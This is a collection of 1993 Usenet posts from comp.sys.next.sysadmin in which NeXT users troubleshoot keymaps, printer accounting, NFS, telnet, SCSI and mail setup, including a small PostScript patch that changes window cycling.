Newsgroups: comp.sys.next.sysadmin From: andylee@oahu.cs.ucla.edu (Andy Lee) Subject: Re: Dvorak keyboards? Message-ID: <1993Apr12.054856.25846@cs.ucla.edu> Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA, Computer Science Department References: <C5CspE.Awq@unix.portal.com> Date: Mon, 12 Apr 93 05:48:56 GMT eps@shell.portal.com (Eric Schwartz) writes: > >Has anyone had any luck turning their NeXT keyboards into Dvorak format? >I picked up a Dvorak.keymapping from the archives ages ago, and it appears >to be in the right place (/NextLibrary/Keyboards), but Preferences >tells me "Can't use that keyboard file" when I click on the Dvorak entry >in Keyboard Preferences. > I put mine in my /Local/Library/Keyboards... dunno if that makes any difference... or perhaps the Dvorak.keymapping you have is for NS2.1 and you need a newer version? -- # Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks # # andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer # # (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. # # (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG #
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: setgroups setgid problems Message-ID: <1993Apr12.062503.2236@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1q5rjg$n1u@network.ucsd.edu> Date: Mon, 12 Apr 1993 06:25:03 GMT Naive guesses: The su program isn't set-uid root (su pointing to distribution su.wheel?) You're trying to execute from a filesystem mounted with the nosuid option (misconfigured NetBoot client?) -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Floppy disk causes panic! Message-ID: <1993Apr12.063027.2432@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993Apr10.213543.24952@worldbank.org> <1993Apr11.005555.490@bluerose.com> Date: Mon, 12 Apr 1993 06:30:27 GMT I'm told that inserting a 386BSD diskette in a machine running 3.0 panics. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: Printer Headers Message-ID: <1993Apr12.140939.4378@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Mon, 12 Apr 1993 14:09:39 GMT We have a classroom with 12 NeXTs and 4 printers that are available from any NeXT. How do I get Header Pages printed with userid or Computer name on them so that the users can locate their printout? - - - - - - - - - J. W. Wooten
From: goldly@u.washington.edu (Lloyd P. Goldwasser) Newsgroups: comp.sys.next.sysadmin Subject: Re: Dvorak keyboards? Date: 12 Apr 1993 16:26:49 GMT Organization: University of Washington Message-ID: <1qc589INNbts@shelley.u.washington.edu> References: <C5CspE.Awq@unix.portal.com> In article <C5CspE.Awq@unix.portal.com> eps@shell.portal.com (Eric Schwartz) writes: > Has anyone had any luck turning their NeXT keyboards into Dvorak format? > I picked up a Dvorak.keymapping from the archives ages ago, and it appears > to be in the right place (/NextLibrary/Keyboards), but Preferences > tells me "Can't use that keyboard file" when I click on the Dvorak entry > in Keyboard Preferences. I've had no trouble with either 2.x or 3.0 dvorak.keymapping files in either /NextLibrary/Keyboards or ~/Library/Keyboards. I can send you my versions to play with if you would like. Lloyd Goldwasser goldwalp@zoology.washington.edu
From: steve@estel.uindy.edu (Steve Spicklemire) Newsgroups: comp.sys.next.sysadmin Subject: nfs server goes away Date: 12 Apr 1993 18:39:19 GMT Organization: Truevision Inc., Indianapolis, IN Distribution: world Message-ID: <1qcd0nINNe8h@epic.truevision.com> Hi, I don't know if this is a problem with our network, or the way I have my NeXT configured, but it's weird. I have a disk mounted from across campus using NFS. I mounted it with NFS manager, nothing special. Every now and then it hangs and I get the following in the console: NFS server elrond not responding still trying If I 'ping' the server from the terminal window at this point I get nothing! Nobody home. Now, if I roll my chair 3 feet to my clunky old PC and run (NCSA) telnet from DOS to the server, bingo I get through, *and* my ping (from the NeXT) starts seeing packets, *and* the console reads: NFS server elrond ok Why sould running telnet on the PC suddenly allow the NeXT to 'see' the server? Is this a router problem? Any ideas? Thanks! -steve
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: gerben@rna.indiv.nluug.nl Subject: A question for hardware guru's Message-ID: <1993Apr12.203305.11579@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Mon, 12 Apr 1993 20:33:05 GMT I have a 25MHz 040 upgraded original cube with OD. Internally, it has a Maxtor 340MB drive (currently set to SCSI ID 2) Attached to it on the SCSI are: 1 DEC 3.5 inch 1GB drive (SCSI ID 1) (boot disk) 1 NeXT CD-ROM (SCSI ID 3) 1 PLI SuperFloppy 2.8 (SCSI ID 4) (SCSI Terminator on) in that order. This setup works fine. However, I do not use the Maxtor, and I want to move it into another machine. My questions are therefore: 1. What are exactly the things I have to do to remove the Maxtor and keep a working system? I am thinking about details I don't know anything about like SCSI termination and such. What cables do I detach and what do I leave in place? Etc. 2. Suppose I want to put the DEC inside my cube. How do I go about power, SCSI termination and such? Help is greatly appreciated. Thanks in advance. --Gerben -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.sysadmin From: mo@mg.stu.rpi.edu (Monish Gopinath) Subject: Printers? Message-ID: <l7p5ky@rpi.edu> Date: Tue, 13 Apr 1993 01:36:50 GMT Are they any laser printers other than the NeXT laser printer which works well with a NeXT station? Any in the $1000 range? Please reply directly. Thank you.
Newsgroups: comp.sys.next.sysadmin From: antoine@arrakis.osd.ulaval.ca (Antoine Gautier) Subject: developer's kit installation: did it happen to you too? Message-ID: <1993Apr13.020743.14018@cerberus.ulaval.ca> Sender: news@cerberus.ulaval.ca Organization: Universite Laval Date: Tue, 13 Apr 1993 02:07:43 GMT Hi world Has anyone had troubles installing the developer's kit with the 3.0 upgrade? I did my upgrade by reformating the drive from scratch and successfully installed all but the developer's kit -- got an error after about 5 minutes of installation and it aborted (errors while installing). Some of it was installed, I guess some is missing. Do I have a bad CD? Thks! -- +-------------------------------------------------------+ | Antoine Gautier | | Departement OSD, FSA | | Universite Laval, Quebec, PQ | +-------------------------------------------------------+ Disclaimer: I wish my employer had opinions... :+)
Newsgroups: comp.sys.next.sysadmin From: amon@Xenon.Stanford.EDU (Laurent Amon) Subject: Cmd-Alt-(Up|Down)Arrow workspace hack for 3.0 Message-ID: <1993Apr13.142828.17366@CSD-NewsHost.Stanford.EDU> Keywords: hack,patch,workspace Sender: news@CSD-NewsHost.Stanford.EDU Organization: Computer Science Department, Stanford University. Date: Tue, 13 Apr 1993 14:28:28 GMT About a year ago, Robert Tobler wrote a hack that made it possible to cycle through windows AND activate the new window and corresponding application using Cmd-Alt-(Up|Down)Arrow. [And if you don't know it yet, using Cmd-(Up|Down)Arrow will cycle without changing the focus]. Well, he wrote that under NS2.1, and I took the time last night to port it to NS3.0. It wasn't very difficult, since that part of the code hadn't changed. However, NeXT did remove all commentaries and indentation in the package. Here is a patch for this, just below Robert's comments to his post. All usual diasclaimers apply. Don't forget to keep a copy of the old package. This has only been Berkeleyzely tested. In case of a problem, login as 'console' (boot single user in the worst case) and reinstall the old package. To install it, save the patch below as 'patchfile', cd to /usr/lib/NextStep, and do 'patch < patchfile'. Robert Tobler's post of old: > > Thanks to David Kosi, who sent me his Point-to-Focus Hack, I was able to > rewrite my Hack, so that Command-Alternate-UpArrow and > Command-Alternate-DownArrow now correctly cycle through the windows. > These two key-combinations now activate the new Window AND the owning > application. (i.e. you don't need to use the mouse to switch applications > anymore!!) > > WARNING: > If you install this hack, > 1. backup your old '/usr/lib/NextStep/windowPackage.ps', and > 2. create a possibility to boot from another drive. > (This in order to be able to reverse the changes if you should make a mistake.) > > DISCLAIMER: > Make the changes at you own risk. I refuse to give any warranty for damages > that arise from applying this hack. > > [...actual NS2.1 patch deleted] > > Robert F. Tobler *** Now the patch itself: *** windowPackage.ps.orig Thu Jul 30 06:47:25 1992 --- windowPackage.ps Mon Apr 12 19:18:01 1993 *************** *** 1028,1033 **** --- 1028,1061 ---- 5 -1 roll pop 0 5 1 roll activeApp exch /postByContext winexec } _NXDefProc + /activateAppWithTopWindow { + true 0 /getWindows winexec + false exch { + dup currentwindowlevel + dup //mainMenuLevel gt exch + //dockLevel lt or { + dup currentwindowdict + dup null ne { + /icon get 1 ne { + true exit + } if + }{ + pop + } ifelse + } if + pop + } forall + { + dup /activateByWindow winexec + dup currentwindowbounds exch pop add + 1 3 1 roll 0 0 5 index 0 0 + 2 index currentowner + 9 copy /transmitEvent winexec + 2 9 1 roll /transmitEvent winexec + pop pop + } if + /returnWindows winexec + } _NXDefProc /_handleCommand { mark 10 1 roll 1 index -16 bitshift *************** *** 1058,1063 **** --- 1086,1094 ---- } /revForall winexec cleartomark /returnWindows winexec + 5 index //Alternatemask and 0 ne { + /activateAppWithTopWindow winexec + } if }{ dup 175 eq { true 0 /getWindows winexec *************** *** 1075,1080 **** --- 1106,1114 ---- } forall cleartomark /returnWindows winexec + 5 index //Alternatemask and 0 ne { + /activateAppWithTopWindow winexec + } if }{ pop activeApp true /postByContext winexec --- Laurent Amon | amon@cs.stanford.edu | So far, the universe is winning. amon@lix.polytechnique.fr |
Newsgroups: comp.sys.next.sysadmin From: wampner@acme.ucf.edu (Eric Wampner) Subject: Question about DialUpIP (quick). Message-ID: <1993Apr13.143857.10724@cs.ucf.edu> Summary: a quickie Sender: news@cs.ucf.edu (News system) Organization: IST, University of Central Florida, Orlando Date: Tue, 13 Apr 1993 14:38:57 GMT Okay, I have DialUPip running on my Next 2.1. I have had no problems and thanks to the author (whose name I can't spell without finding the docs) I am confused though, I have two nexts and have set up each differently and both appear to work: Question: What function does the "linking" IP Address serve for machines in the same domain? I have machine next1, it has a router link to the outside world, and its netstat looks like this: Destination Gateway Flags Refs Use Interface 132.170.192.8 next1 UH 0 0 slip0 next1 localhost UH 8 8586 lo0 localhost localhost UH 2 14612 lo0 default 132.170.192.254 UG 4 95673 en0 132.170.192 next1 U 18 17721847 en0 As you can see I am using the same IP for the gateway as is the local machine. Here is next3, which I set up more like the docs said to: Destination Gateway Flags Refs Use Interface 132.170.192.9 132.170.192.11 UH 1 8218 slip0 localhost localhost UH 1 862 lo0 132.170.192.12 localhost UH 0 0 lo0 132.170.192.100 132.170.192.12 UH 0 0 slip1 default 132.170.192.254 UG 2 86757 en0 132.170.192 next3 U 24 23298376 en0 Which way is more correct? Or does the problem not show up in my somewhat limited scenario? Thanks in advance. Eric Wampner wampner@acme.ucf.edu
From: penney@cl-next4.cl.msu.edu (Chris Penney) Newsgroups: comp.sys.next.sysadmin Subject: Color Printer Date: 13 Apr 1993 15:54:37 GMT Organization: Michigan State University Message-ID: <1qennt$l1t@msuinfo.cl.msu.edu> Is there any way to limit the amount of CPU the Color Printer Grabs when it prints. When anything gets sent to it the machine dies for way to long. -=Chris=- penney@cl-next4.cl.msu.edux
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: Continuation/Summary: Printer (# of pages) accounting Message-ID: <1993Apr13.150231.23751@linus.mitre.org> Keywords: AUGH! page accounting still not working NeXT printer Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation References: <C5B53q.70G@ux1.cso.uiuc.edu> Date: Tue, 13 Apr 1993 15:02:31 GMT >In article <1993Apr9.174047.22520@linus.mitre.org> jblue@ocotillo.mitre.org >(Jason D. Blue) writes: > > Hi there, > > Is there an easy way to keep track of the number of pages printed on > the NeXT printers? Using the printcap "af" option provides > accounting of the print jobs (i.e. "1.00 ocotillo:jblue"), but > not of the number of pages printed. > > Also, on other printers, you can find out the number of pages > printed since the printer was installed - usually listed on the > banner page produced after powerup. Can the NeXT printer > provide this information as well? > >I forgot to mention - I am using NeXTSTEP 2.1, and not 3.0. Thank you for all of the responses. In summary, The man pages for transcript and pac should be consulted for page accounting. Also, the "if" and "af" printcap entries in NetInfo must be specified. Example in NeXTSTEP 3.0 (for 2.1 example, see my configuration below): :af=/usr/adm/printer-accounting: \ :if=/usr/lib/NextPrinter/Server/prserver: \ However, I am still having the problem I first described, as follows: 1. I set my "af" entry. The "if" entry was already specified (default of 2.1?). My configuration (in NetInfo) is as follows: Local_Printer: \ :af=/usr/adm/Local_Printer.acct:if=/usr/lib/NextPrinter/npcomm: \ :gf=/usr/lib/NextPrinter/psgf:nf=/usr/lib/NextPrinter/psnf: \ :tf=/usr/lib/NextPrinter/pstf:rf=/usr/lib/NextPrinter/psrf: \ :vf=/usr/lib/NextPrinter/psvf:cf=/usr/lib/NextPrinter/pscf: \ :df=/usr/lib/NextPrinter/psdf: \ :BannerAfter=/usr/lib/NextPrinter/banner.pro: \ :note=printer in C227:ty=NeXT 400 dpi Laser Printer:lp=/dev/null: \ :sd=/usr/spool/NeXT/Local_Printer:sharedTo=/: \ :sharedAs=ebony_printer: 2. After restarting and printing, I noticed that the "af" file, /usr/adm/Local_Printer.acct, was not being created. So I touched it, gave rw access to owner and group, and changed ownership to root and the daemon group ( got this information out of a Unix Sys Admin book). 3. The /usr/adm/Local_Printer.acct was now being updated after each print job, as follows: 1.00 ebony:root 1.00 ebony:root 1.00 ebony:root 1.00 ebony:root 1.00 ebony:root However, not all the jobs were 1 page long - some were 5-6 pages long. Any ideas? Thank you, Jason D. Blue NeXT System Admin. The MITRE Corporation jblue@mitre.org
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo) Newsgroups: comp.sys.next.sysadmin Subject: telnetd problem? Date: 13 Apr 1993 11:35:14 -0500 Organization: Educational Computing Network Distribution: world Message-ID: <1qeq42$7g@uxa.ecn.bgu.edu> When I telnet into my NeXT, newlines get screwed up: >romcore# finger >Login Name TTY Idle When Office > root >root > co 17d Sun 11:53 > root root p1 1:24 >Sun 11:5 >3 > root root p2 1:24 Mon 22:56 > pred Predrag S. >Bundalo > p3 Tue 11:25 > romcore# This is a problem I see on all NeXT's I have access to. It even happens when I telnet to romcore from romcore. The above problems don't exist if I use rlogin, though. And there's a good reason I can't use rlogin that's not relevant to this message. Is there a fix for this problem? Best, Pred Bundalo Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
Newsgroups: comp.sys.next.sysadmin From: doug@happy.vf.ge.com (Doug Hughes) Subject: Major weirdness in console.log and messages Message-ID: <1993Apr8.205638.7779@knight.vf.ge.com> Followup-To: comp.sys.next.sysadmin Sender: news@knight.vf.ge.com Organization: GE Aerospace - VF Date: Thu, 8 Apr 1993 20:56:38 GMT If i make an unsuccessful login attempt on the console on a next.. Everything is okay, until I login.. once I am logged in, the /private/tmp console.log starts filling up with messages about the last LOGIN FAILURE or any authorization notice as soon as I'm logged in.. it's the same messages over and over and over again.. I'm talking megs per minute here. I have no idea why.. Has anyone experienced this? I have the NeXT setup as an NIS client and it is a standalone system. It is also running autonfsmount. I keep having to reboot the machine because quickly the machine's file system is full and the ONLY way to recover is to reboot. -- _____________________________________________________________ Doug Hughes System/Net Admin - GE Aerospace, Valley Forge, PA doug@happy.vf.ge.com or hughes@sde.mdso.vf.ge.com
Newsgroups: comp.sys.next.sysadmin From: pmelo@pombo.inescc.pt (Paulo Melo) Subject: WANTED: Sendmail with IDA for NeXTstep 3.0 Message-ID: <1993Apr13.154657.10921@pombo.inescc.pt> Summary: WANTED Sendmail with IDA extensions for NeXT Keywords: NeXT sendmail IDA NeXTstep 3.0 Organization: INESC - Nucleo de Coimbra Date: Tue, 13 Apr 1993 15:46:57 GMT Hello Ne(X)Ters I am looking for a version of sendmail with IDA extensions that compiles on NeXTstep 3.0. The ability to understand NeXT aliases would be nice, but I can live without that. This machine is to be a mailserver on a small (mixed, and mostly non-NeXT) network and I would like something more than the default sendmail.cf that NeXT brings. I saw that there is a BETA release (for NeXTstep 2.0) of sendmail with IDA by Nigel Metheringham, but I don't know of any non-beta release after that, and don't have Nigel's email address. Do anyone know if such release exists? The version I know of is sendmail-ida-BETA1.tar.Z, from May 21, 1992. Does anyone know of a later release? Also, does anyone know of a NeXT MTA that allow sending to DECnet hosts (DECnet mail)? Thanks Paulo Melo INESC/Coimbra -- Paulo Melo | "once more the sound of crying pmelo@inescc.pt | is #1 across the earth..." Prefab Sprout
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: mtab files in /etc = what are they??? Date: 13 Apr 1993 19:45:54 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1qf59i$6e4@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu This keeps accumulating in my /etc: 200823 -rw-rw-r-- 1 root 0 Jan 29 09:31 mtab000299 201019 -rw-rw-r-- 1 root 0 Mar 4 10:44 mtab000315 200820 -rw-rw-r-- 1 root 0 Jan 28 16:23 mtab000366 201251 -rw-rw-r-- 1 root 0 Jan 22 13:57 mtab000435 200720 -rw-rw-r-- 1 root 0 Jan 28 15:26 mtab000449 and so forth... This is something new. It didn't happen before. Can I remove them by hand? What the heck are they? Any suggestions? Thanks. Take care...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: wching@csmt.music.yale.edu (William Ching) Subject: Re: Continuation/Summary: Printer (# of pages) accounting Message-ID: <1993Apr13.201824.28483@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale School of Music, Center for Studies in Music Technology References: <1993Apr13.150231.23751@linus.mitre.org> Date: Tue, 13 Apr 1993 20:18:24 GMT Jason D. Blue (jblue@ocotillo.mitre.org) wrote: > [question re: printer accounting, plus answer...] > Thank you, > Jason D. Blue > NeXT System Admin. > The MITRE Corporation > jblue@mitre.org I have the same problem, but I haven't been able to get printer accounting working. My Netinfo printcap entry is as follows: name: RealTech lf: /usr/adm/lpd-errs sf: sb: lp: /dev/null mx: 0 if: /usr/lib/NextPrinter/Server/prserver cf: /usr/lib/NextPrinter/Server/pscf df: /usr/lib/NextPrinter/Server/psdf gf: /usr/lib/NextPrinter/Server/psgf nf: /usr/lib/NextPrinter/Server/psnf rf: /usr/lib/NextPrinter/Server/psrf tf: /usr/lib/NextPrinter/Server/pstf vf: /usr/lib/NextPrinter/Server/psvf ty: RealTech Laser 400 dpi note: CSMT Laser Printer nxformat: 3.0 sd: /usr/spool/NeXT/RealTech sharedAs: CSMT_Laser sharedTo: / af: /usr/adm/RealTech.acct _acceptsBinary: 1 -- CUT HERE -- As you can see, all the relevant fields I can think of are here. Note that this is an AppleTalk printer. I'm running NeXTStep 3.0. This problem is beginning to get serious, as we need to keep track of print jobs coming through that laser printer. Thanks for the help in advance. WC ----------------------------------------------------------------------------- William Ching | wching@csmt.music.yale.edu Yale University Department of Music | Center for Studies in Music Technology "To the insane the sane must seem insane"
From: jmm@king.econ.lsa.umich.edu (Jeffrey K. MacKie-Mason) Newsgroups: comp.sys.next.sysadmin Subject: ISDN configuration Date: 13 Apr 1993 20:33:05 GMT Organization: University of Michigan - College of Literature, Science, and TheArts Distribution: world Message-ID: <1qf822INN3hs@controversy.math.lsa.umich.edu> Keywords: ISDN,networking I now have ISDN extenders and "live" ISDN phone lines all set up for two NeXTs (one at home, not on a network, and one at the office, on the Internet). I have followed the configuration instructions in the Sys Admin and Network Admin manual. I have tried connecting from my remote machine to the network machine using both of the methods described in the manual: (a) by clicking on the phone on the loginwindow; and (b) by logging in locally and using PhoneConnector. In both cases I get the same result: the machine dials (I can hear it), the panel says "Dialing..." and then nothing happens. I have let it sit in this state for over 20 minutes with no change. My best guess is that my machine at the office isn't picking up the line, but I have no idea how to troubleshoot this, or even begin to guess what is going wrong. Help! -- Prof. Jeff MacKie-Mason internet: jmm@umich.edu Dept. of Economics bitnet: usergc76@umichum Univ. of Michigan phone: 313-764-7438 Ann Arbor, MI 48109-1220 fax: 313-763-9181
Newsgroups: comp.sys.next.sysadmin From: cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur) Subject: Re: Using Solaris 2.1 as mail host to BSD machines Message-ID: <1993Apr13.210812.18756@blabel.ppp.informatik.uni-muenchen.de> Organization: Home of BlackLabel References: <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de> <C5BGs5.Mpr@cosy.sbg.ac.at> Date: Tue, 13 Apr 1993 21:08:12 GMT bnocker@cosy.sbg.ac.at (Bernhard Nocker) writes: >In article <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de> >cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur) writes: >> matthews@oberon.umd.edu (Mike Matthews) writes: >> >> >We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT >> >and SunOS 4.x machines. I've got /var/mail exported to everybody, who's >> >mounting it as /usr/spool/mail, and that part seems to work OK. >> >> >The problem is, even though the sendmail.cf file (which is a main.cf file >> >with the asked-for values) specifies mode 0600 for the files, they come out >> >as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very >secure. >> >> >2) what's up with mail? I have no idea what's going on there. >> >> Ok, we had the same problems here with Solaris 2.1 as a file server for our >> NeXTStations. Doing a chown (and sendmail does a chown) yields in a wrong >> filemode for that file. All bits are set. After tracing the network traffic >> it was clear. >[...] >> >> Here is a binpatch for the 3.0 mach kernel (NeXT Mach 3.0: Wed Jul 29 >19:43:28 >> PDT 1992). I don't know if there is also a problem with 2.1, but I think a >> similiar patch will do it also for 2.1 [This patch ONLY applies to 3.0!!!]. >> >[...] >I do not agree that the above patch is a solution. >I am not sure that this problem has anything to do with Solaris2.1 since we use > Hmmm. The patch is MAYBE not a very good solution but ist IS one. Mike Matthews has patched his mach and it works also for him... >SunOS4.1.x and here the same problem (if it is one) should occur. >Chmod of the users mail file should in my opinion only occur when outgoing mail >to inhouse users are treated by NeXTs sendmail. But this is not recommended. > Hm. It is definitely a misbehaviour of the NFS and has nothing to do with sendmail (ok only insofar, that sendmail does an chOWN (as I said...)). We also realized the (NFS-)problem with HPUX (8.0x). But on HPUX it does not have the same effect. cb -- [ Christian Baur, Muenchen-Germany | Suicide is an urban disease ] [ cbaur@informatik.uni-muenchen.de | Spread by people and places like these ]
From: slv0y@cc.usu.edu Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Printing WITH fonts automatically... Message-ID: <1993Apr13.143959.66145@cc.usu.edu> Date: 13 Apr 93 14:39:59 MDT Organization: Utah State University I remember seeing some discussion awhile back about how just printing a file does not download the fonts to the printer (nonNeXT), and you have to save a postscript file "for the specified printer w/fonts". Has anyone found a way around this? Is there ANY way to set the default for the print panel to download the fonts for the specified printer? This is a major pain having to save a postscript file, then send it off to the printer to be printed. Has anyone put together a nifty script that would say, any file saved into a certain directory get sent off automatically to the printer and then deleted? I am not much of a Unix guru, so I don't know how to acomplish this. Any help would be greatly appreciated. John sl05r@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin From: antoine@arrakis.osd.ulaval.ca (Antoine Gautier) Subject: generating clicks from the keyboard Message-ID: <1993Apr14.010937.296@cerberus.ulaval.ca> Sender: news@cerberus.ulaval.ca Organization: Universite Laval Date: Wed, 14 Apr 1993 01:09:37 GMT Is there a way/hack to generate a mouse double (tripple) click from a key (like esc) or a key combination? -- +-------------------------------------------------------+ | Antoine Gautier | | Departement OSD, FSA | | Universite Laval, Quebec, PQ | +-------------------------------------------------------+ Disclaimer: I wish my employer had opinions... :+)
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Subject: Re: How to make "lpr -d file.dvi" work Message-ID: <HARDY.93Apr13205810@golem.ps.uci.edu> In-reply-to: jwdb@dutnak2.tudelft.nl's message of Tue, 6 Apr 1993 16:29:48 GMT Newsgroups: comp.sys.next.sysadmin Organization: Department of Physics, UC Irvine, CA 92717-4575, USA References: <jwdb.733149386@dutnak2> <1993Apr5.172145.7759@kakwa.ucs.ualberta.ca> <jwdb.734113788@dutnak2> Date: 14 Apr 93 03:58:14 GMT In article <jwdb.734113788@dutnak2> jwdb@dutnak2.tudelft.nl (Jan-Willem de Bruijn) writes: || The whole point of this exercise was to allow emacs users to print || dvi files with "one" keystroke. It then performs "lpr -d". If that is the whole point there are two simpler solutions: 1. Edit the tex-mode.el file to use dvips as the print command: (defvar TeX-dvi-print-command "dvips" "\ *Command string used by \\[TeX-print] to print a .dvi file.") (defvar TeX-show-queue-command "lpq" "\ *Command string used by \\[TeX-show-print-queue] to show the print queue that \\[TeX-print] put your job on.") (defvar TeX-default-mode (quote plain-TeX-mode) "\ *Mode to enter for a new file when it can't be determined whether the file is plain TeX or LaTeX or what.") (defvar TeX-command "tex -V" "\ The command to run TeX on a file. The name of the file will be appended to this string, separated by a space.") (the last to pipe output directly to TeXView). 2. Use the auc-tex package (available from iesd.auc.dk), which allows you to TeX, View, and Print from emacs. There is a NeXT customizationin the tex-site.el file of auc-tex 7.0. -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
Newsgroups: comp.sys.next.sysadmin,comp.mail.elm From: edwin@cs.ruu.nl (Edwin Kremer) Subject: Re: compiling elm 2.4 under NS 3.0 Sender: network-news@cs.ruu.nl Message-ID: <1993Apr14.090113.11157@cs.ruu.nl> Date: Wed, 14 Apr 1993 09:01:13 GMT References: <1psq4a$80b@news.intercon.com> Organization: Utrecht University, Dept. of Computer Science In <1psq4a$80b@news.intercon.com> disc@vector.intercon.com (David Casti) writes: | I'm trying to compile elm version 2.4 under NeXTStep 3.0 and it dies | consistently on | | cc -bsd -fwritable-strings -I../hdrs -c add_site.c | ./hdrs/defs.h:505: header file 'unistd.h' not found | *** Exit 1 | Stop. I already replied to David, but there seem to be more people around having this problem, so I'd like to remind you that Jess Anderson (anderson@macc.wisc.edu) did a good job in getting this straightened out properly. You can get his suggestions from our archive server -- details follow... works like a charm on my NeXT @ $HOME :-) ________________________________________________________________________ We, Computer Science department, Utrecht University, are running an anonymous FTP server on one of our systems. In addition to the FTP service we're also running a mail server, for those of you without direct Internet access. --> How to get 'Elm hints' via anonymous FTP: Site: ftp.cs.ruu.nl [131.211.80.17] Login: "anonymous" or "ftp" Password: your own email address (you@your_domain) file: /pub/NeXT/elm-2.4.21-hints.shar --> How to get 'Elm hints' via e-mail from our mail-server: NOTE: In the following I have assumed that your mail address is "fred_flintstone@stone.age.edu"; of course you must substitute your own address for this. | Please use a VALID DOMAIN ADDRESS. | Use 'hip!hop!user' if you must. | Never use an address which has both '!' and '@' in it. | Bitnetters use user@host.bitnet Send the following message to mail-server@cs.ruu.nl or the old-fashioned path alternative uunet!mcsun!sun4nl!ruuinf!mail-server begin path fred_flintstone@stone.age.edu (SUBSTITUTE _YOUR_ ADDRESS) send NeXT/elm-2.4.21-hints.shar end The path command can be deleted if we receive a valid from address in your message. If this is the first time you use our mail server, we suggest you first issue the request: send HELP A complete "ls-lR" listing of the archive is kept in the top-level directory, it will be updated every night. To get it, issue the command: send ls-lR.Z That's all for now. If you encounter problems using the FTP service and/or the mail-server, feel free to drop me a line (by e-mail, please). -- Edwin H. Kremer, systems- and network manager. [NIC-Whois handle: EHK3] Department of Computer Science, Utrecht University, The Netherlands Internet: Edwin.Kremer@cs.ruu.nl NeXTmail: Edwin.Kremer@edge.cs.ruu.nl X.400 : G=Edwin;S=Kremer;OU=cs;O=ruu;PRMD=surf;ADMD=400net;C=nl
From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev) Newsgroups: comp.sys.next.sysadmin Subject: Re: telnetd problem? Message-ID: <OLEG.93Apr14003809@gd.cs.CSUFresno.EDU> Date: 14 Apr 93 07:38:09 GMT References: <1qeq42$7g@uxa.ecn.bgu.edu> Organization: Computer Science Departement of California State University inFresno In-reply-to: upbundal@uxa.ecn.bgu.edu's message of 13 Apr 1993 11:35:14 -0500 In article <1qeq42$7g@uxa.ecn.bgu.edu> upbundal@uxa.ecn.bgu.edu (Pred Bundalo) writes: >romcore# finger >Login Name TTY Idle When Office > root >root > co 17d Sun 11:53 > root root p1 1:24 >Sun 11:5 >3 > root root p2 1:24 Mon 22:56 > pred Predrag S. >Bundalo > p3 Tue 11:25 > romcore# This is a problem I see on all NeXT's I have access to. It even happens when I telnet to romcore from romcore. The above problems don't exist if I use rlogin, though. And there's a good reason I can't use rlogin that's not relevant to this message. rlogin has it's own problem. It doesn't give you controling tty ;) Anyway, I found that "exec script /dev/null" will make the problem go away. Oleg
Newsgroups: comp.dcom.lans.ethernet,comp.sys.next.sysadmin From: wagner!beckers (Becki Kain) Subject: problem between 2 machines Message-ID: <1993Apr14.125716.1137@imagine.com> Sender: beckers@imagine.com Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA Date: Wed, 14 Apr 1993 12:57:16 GMT Hi all: we have a thin net setup with about 20 machines on it. machines x and y are in the same room together and are the only machines in the room (they are both next). a ping between machine x and y will lose packets (between 1 and 10%) and the same will happen with a ping between y and x, but a ping from x to any other machine on the net or y and any other machine yields no packet lose. i've tried turning the machines around and changing all the wires and t's to no avail. any ideas what is going on here? thank you beckers -- Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com "oh boy oh boy oh boy" bauhaus nextmail welcome
